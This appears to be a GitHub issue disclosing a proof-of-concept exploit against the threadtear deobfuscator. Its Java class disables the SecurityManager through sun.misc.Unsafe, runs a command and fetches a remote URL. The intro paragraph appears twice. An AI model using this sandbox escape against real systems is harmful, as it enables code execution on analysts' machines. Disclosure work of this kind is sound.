Saw your warning @ https://github.com/GraxCode/threadtear#warning and thought it would be cool if people could see what an example of a successful arbitrary code execution would look like on threadtear as well as how the deobfuscator's instances are exposed to the program.
The PoC below specifically is targeted against Allatori's transformer; however, it can easily be adapted to fool threadreaper into executing it in any of the other transformers which utilize the VM.
package me.itzsomebody.poc;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class PoC {
public static void bogus() {
System.out.println(malicious("lol"));
}
public static String malicious(String bogus) {
try {
for (StackTraceElement element : Thread.currentThread().getStackTrace()) {
if (element.getClassName().startsWith("me.nov")) {
System.out.println("Found exposed threadtear deobfuscator instance: " + element.toString());
}
}
} catch (Throwable t) {
}
try {
Field f = Unsafe.class.getDeclaredField("theUnsafe"); // from http://weblog.ikvm.net/2011/08/01/HowToDisableTheJavaSecurityManager.aspx
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);
Method staticFieldBase = Unsafe.class.getDeclaredMethod("staticFieldBase", Class.class);
Object systemBase = staticFieldBase.invoke(unsafe, System.class);
Method getObject = Unsafe.class.getDeclaredMethod("getObjectVolatile", Object.class, long.class);
Method putObject = Unsafe.class.getDeclaredMethod("putObjectVolatile", Object.class, long.class, Object.class);
for (int i = 0; ; i += 4) {
if (getObject.invoke(unsafe, systemBase, i) == System.getSecurityManager()) {
putObject.invoke(unsafe, systemBase, i, null);
System.out.println("Disabled threadtear's SecurityManager");
break;
}
}
Runtime.getRuntime().exec("notepad.exe");
System.out.println("Successful command line execution");
java.net.URLConnection connection = new java.net.URL("https://gist.githubusercontent.com/ItzSomebody/ac48f790620dace21ab2654bac155107/raw/4e6bea306e5c42a8ff58b39b76f91884931e8b4b/keybase.md").openConnection();
connection.setConnectTimeout(8000);
connection.setReadTimeout(8000);
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(connection.getInputStream()));
String s;
while ((s = reader.readLine()) != null) {
System.out.println(s);
}
System.out.println("Successful arbitrary code execution");
} catch (Throwable t) {
// Oops, we failed to disable the SM
// Gotta exit otherwise SuSpiCiOuS
}
return "TT ACE proof-of-concept";
}
}
Saw your warning @ https://github.com/GraxCode/threadtear#warning and thought it would be cool if people could see what an example of a successful arbitrary code execution would look like on threadtear as well as how the deobfuscator's instances are exposed to the program.
The PoC below specifically is targeted against Allatori's transformer; however, it can easily be adapted to fool threadreaper into executing it in any of the other transformers which utilize the VM.